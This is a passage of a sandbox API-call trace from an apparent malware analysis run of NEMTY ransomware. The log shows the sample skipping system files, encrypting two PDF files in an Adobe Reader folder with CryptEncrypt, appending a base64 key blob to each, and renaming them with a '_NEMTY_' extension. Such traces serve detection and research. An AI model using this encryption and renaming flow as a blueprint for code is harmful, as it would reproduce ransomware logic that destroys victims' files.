ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x907a, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0189.152] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".") returned 1 [0189.152] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="..") returned 1 [0189.152] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="...") returned 1 [0189.153] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="windows") returned -1 [0189.153] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.153] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="rsa") returned -1 [0189.153] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="NTDETECT.COM") returned -1 [0189.153] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntldr") returned -1 [0189.153] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="MSDOS.SYS") returned -1 [0189.153] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="IO.SYS") returned -1 [0189.153] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0189.153] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0189.153] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.153] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntuser.dat") returned -1 [0189.153] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="desktop.ini") returned 1 [0189.153] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="CONFIG.SYS") returned 1 [0189.153] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="RECYCLER") returned -1 [0189.153] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.153] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="bootmgr") returned 1 [0189.153] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="programdata") returned -1 [0189.153] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="appdata") returned 1 [0189.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e260, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e298, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404e8 [0189.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0189.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0189.154] Sleep (dwMilliseconds=0x5) [0189.164] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x2465a5f0, dwHighDateTime=0x1d561e8)) [0189.164] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x2465a5f0, dwHighDateTime=0x1d561e8)) [0189.164] GetLastError () returned 0xb7 [0189.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.164] GetLastError () returned 0xb7 [0189.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.164] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.164] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.164] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0189.164] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="1b5mRxZw9rnp9CCjEvlEgMuybOXQX7zfInYxrXSubasAkQ6LRkeFDRJlefhhRPXs\r\nxh8DI/sWzRet+/4nKgoeVhZEE9kpjkce8on32EdOBrYofQNkupnmEpQL3w9TMval\r\nafQF+t6dvj4oKSNi4pTMIe9/3iSA+PD8EEH/m0u8vAJAb9lUjdUmZdOKG5oVrVHY\r\nFTzWOSY/BJ1dO8DjGLmexaoouLKQ1yiyxdz3RAdK7zR0DrztkbxsxotR9hgSSn1W\r\n3uyt7fohihEB5GnaBO3FSOnZ9RJJAewYb7domjYIOBhw+ggF3sw+Ti2FvcQ8i+5j\r\naLRSPTnaBCSpSLdqyoUiDQ==\r\n", pcchString=0x653df5c) returned 1 [0189.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0189.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.165] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.165] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=36986) returned 1 [0189.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9070) returned 0x6352c48 [0189.165] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.165] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x9070, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x9070, lpOverlapped=0x0) returned 1 [0189.169] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.169] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x9070, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x9070, lpOverlapped=0x0) returned 1 [0189.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.170] SetFilePointer (in: hFile=0x320, lDistanceToMove=36986, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x907a [0189.170] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.170] CloseHandle (hObject=0x320) returned 1 [0189.170] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0189.170] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.170] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.170] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.170] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.170] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0189.170] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0189.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0189.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.170] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Dynamic.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\dynamic.pdf._nemty_kgobjgd_")) returned 1 [0189.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0189.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0189.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.171] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0189.171] lstrcmpiW (lpString1="Faces.pdf", lpString2=".") returned 1 [0189.171] lstrcmpiW (lpString1="Faces.pdf", lpString2="..") returned 1 [0189.171] lstrcmpiW (lpString1="Faces.pdf", lpString2="...") returned 1 [0189.171] lstrcmpiW (lpString1="Faces.pdf", lpString2="windows") returned -1 [0189.171] lstrcmpiW (lpString1="Faces.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.171] lstrcmpiW (lpString1="Faces.pdf", lpString2="rsa") returned -1 [0189.171] lstrcmpiW (lpString1="Faces.pdf", lpString2="NTDETECT.COM") returned -1 [0189.171] lstrcmpiW (lpString1="Faces.pdf", lpString2="ntldr") returned -1 [0189.171] lstrcmpiW (lpString1="Faces.pdf", lpString2="MSDOS.SYS") returned -1 [0189.171] lstrcmpiW (lpString1="Faces.pdf", lpString2="IO.SYS") returned -1 [0189.171] lstrcmpiW (lpString1="Faces.pdf", lpString2="boot.ini") returned 1 [0189.171] lstrcmpiW (lpString1="Faces.pdf", lpString2="boot.ini") returned 1 [0189.171] lstrcmpiW (lpString1="Faces.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.171] lstrcmpiW (lpString1="Faces.pdf", lpString2="ntuser.dat") returned -1 [0189.171] lstrcmpiW (lpString1="Faces.pdf", lpString2="desktop.ini") returned 1 [0189.172] lstrcmpiW (lpString1="Faces.pdf", lpString2="CONFIG.SYS") returned 1 [0189.172] lstrcmpiW (lpString1="Faces.pdf", lpString2="RECYCLER") returned -1 [0189.172] lstrcmpiW (lpString1="Faces.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.172] lstrcmpiW (lpString1="Faces.pdf", lpString2="bootmgr") returned 1 [0189.172] lstrcmpiW (lpString1="Faces.pdf", lpString2="programdata") returned -1 [0189.172] lstrcmpiW (lpString1="Faces.pdf", lpString2="appdata") returned 1 [0189.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0189.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0189.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0189.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0189.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0189.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0189.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0189.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0189.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0189.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e8 | out: hHeap=0x4f90000) returned 1 [0189.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340430 [0189.172] Sleep (dwMilliseconds=0x5) [0189.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24680750, dwHighDateTime=0x1d561e8)) [0189.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24680750, dwHighDateTime=0x1d561e8)) [0189.179] GetLastError () returned 0x0 [0189.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.179] GetLastError () returned 0x0 [0189.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.179] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.179] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.179] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0189.180] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="qsINTFTiIAH8+KgJlm+TBzqpXmKfaVMLz0NRXIqw2WISiQimaYNE+7mlOfzHi/vj\r\ns+0frLgzyS40J07adLg8/tB/omDaXcYZEfmjQUSCl6kk+ctwn2JkS94fWUxtOAO9\r\nzJMfl04bUtHgWWIbA8wqv12RupNiZ7GDO02cquXCgD/BkeFb/9TlapCkwKKUYgIK\r\nOO6AVBVMMH/0iSsJPF2u4B8/Kz1uxkV+ufuZAlFCmK3PIvWzyX/hwbvC2bkzzuRE\r\ndqcMIckJLK6RZaWQDbVdM5hlIjpVTh8oPX16On+sr1fFUrvJKrc5C6/5hJ0MzExJ\r\nLf+ZvbTtYK7xd6AjksveYA==\r\n", pcchString=0x653df5c) returned 1 [0189.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0189.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.180] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\faces.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.180] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=33013) returned 1 [0189.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80f0) returned 0x6352c48 [0189.180] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.180] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x80f0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x80f0, lpOverlapped=0x0) returned 1 [0189.184] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.184] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x80f0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x80f0, lpOverlapped=0x0) returned 1 [0189.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.184] SetFilePointer (in: hFile=0x320, lDistanceToMove=33013, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x80f5 [0189.184] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.185] CloseHandle (hObject=0x320) returned 1 [0189.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404f8 [0189.185] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.185] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0189.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442e8 [0189.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0189.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.185] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Faces.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\faces.pdf._nemty_kgobjgd_")) returned 1 [0189.188] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0189.188] HeapFree 